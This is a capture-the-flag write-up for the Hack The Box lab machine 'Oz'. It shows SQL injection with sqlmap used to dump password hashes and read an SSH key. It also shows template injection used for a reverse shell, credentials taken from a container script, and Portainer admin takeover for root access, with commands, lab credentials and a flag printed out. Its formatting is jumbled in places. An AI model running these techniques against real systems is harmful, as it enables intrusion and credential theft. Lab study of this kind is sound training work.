Hack The Box - Writeup Oz

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Recon

nmap

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Discovered open port 8080/tcp on 10.10.10.96 Discovered open port 80/tcp on 10.10.10.96
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Results of nmap with service scan

Port	Status	Service
80/tcp	open	Werkzeug httpd 0.14.1
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Browser

So port 80 gives you Please register a username! bringing me to fuzzing around.

Directory /users/xxx will give you null. Fuzzing any further like /users/FUZZ with wfuzz will lead to ' triggering an sql injection.

sqlmap

```
--- ~ » sqlmap -u "http://10.10.10.96/users/*"
[*] starting @ 16:00:30 /2018-11-15/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[16:00:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:00:46] [INFO] target URL appears to be UNION injectable with 1 columns
[16:00:46] [WARNING] applying generic concatenation (CONCAT)
[16:00:46] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 10 columns':
[16:00:46] [INFO] checking if the injection point on URI parameter '#1*' is a false posi-
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 121 HTTP(s) requests:
Parameter: #1* (URI)
   Type: UNION query
   Title: Generic UNION query (NULL) - 1 column
   Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qkzbq','vTwCQ
[16:00:57] [INFO] testing MySQL
[16:00:58] [INFO] confirming MySQL
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[16:00:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:00:58] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 52 times
[16:00:58] [INFO] fetched data logged to text files under '/home/patrick/.sqlmap/output/
```

Eventually you will retrieve hases:

```
[16:06:42] [INFO] retrieved: "root", "*61A2BD98DAD2A09749B6FC77A9578609D32518DD" [16:06:42] [INFO] retrieved: "dorthi", "*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA" [16:06:42] [INFO] retrieved: "root", "*61A2BD98DAD2A09749B6FC77A9578609D32518DD"
```

And digging in deeper you will even get more hashes and information. Specifically in db ozdb tables users_gbw and tickets_gbw.

Cracking the hashes will get you these credentials wizard.oz:wizardofoz22

The credentials will work on the login page on port 8080.

Reading through the notes in there you will get the path of dorthi ssh key. Grab it with sqlmap sqlmap -u "http://10.10.10.96/users/*" --file-read=/home/dorthi/.ssh/id_rsa. Notes also say you may have to find knock ports to open up ssh.

Also logged in as wizard.oz you will be able to "create tickets". So if you view that in an intercepting proxy like burp you will see a POST request. Fuzzing around with the POST body you might discover that the page is vulnerable to server-side template injection.

So using tplmap now!

[+] Tplmap identified the following injection point:

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POST parameter: name
Engine: Jinja2
Injection: *
Context: text
OS: undetected
Technique: blind
Capabilities:

Shell command execution: ok (blind)
Bind and reverse shell: ok
File write: ok (blind)
```

File read: no

Code evaluation: ok, python code (blind)

Initial Foothold - Get user.txt

```
So you can now use tplmap to gain a reverse shell or directly gain a shell.
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```
/app # whoami
root
/app # hostname
tix-app
/app #
```

As always I transfered static socat and upgraded my shell to a full tty.

Enumerating real quick will get you port knocking sequence to open ssh. So let's knock I guess?

```
/.secret # cat knockd.conf
cat knockd.conf
[options]
    logfile = /var/log/knockd.log
```

[opencloseSSH]

-e MYSQL_DATABASE=ozdb \

```
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
/.secret #
```

I am using a script here and afterwards ssh into the machine to see the following:

python knock -u 10.10.10.96 40809 50212 46969; ssh -l dorthi -i dorthi.key 10.10.10.96 Enter passphrase for key 'dorthi.key':

Enumerating again the reverse shell you may find a database startup script. Well let's hope for password reuse:

```
/containers/database # cat start.sh
#!/bin/bash

docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=NOP14c3L1keHOme \
```

```
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5
Sure enough. SSH creds for dorthi are dorthi:NOPl4c3L1keHOme.
Grab user.txt then!
dorthi@Oz:~$ cat user.txt
c21cff3b0c26115143e6cea988d52f94
```

Priv Esc - Get root.txt

```
Well that looks odd?
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```
dorthi@Oz:/etc$ sudo -1
Matching Defaults entries for dorthi on Oz:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr
User dorthi may run the following commands on Oz:
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User dorthi may run the following commands on Oz:

(ALL) NOPASSWD: /usr/bin/docker network inspect *

(ALL) NOPASSWD: /usr/bin/docker network ls
```

Looking at the listing of the network interfaces in Docker you will notice that you have been to almost every machine, but portainer-1.11.1. It'll be at 172.17.0.2 whereas the machine you are on has 172.17.0.1.

As there is nmap on Oz let's just quickly scan portainer to find out there is a open port 9000: TCP.

Exit out of ssh and tunnel it local by connecting to it again using -L to foward.

Then you'll see that there is a portainer webpage listening.

You can gain access to default admin resetting his password like so:

```
curl -X POST -d '{"password":"c1sc0" }' "http://127.0.0.1:9000/api/users/admin/init"
-H "accept: application/json"
```

So the next high level steps will be:

- discover a python docker image
- configure a new container
- use privilege mode
- mount / to /mnt

- run interactively
- discover console in web frontend
- use it to dig into root directory

Now for the pictures:







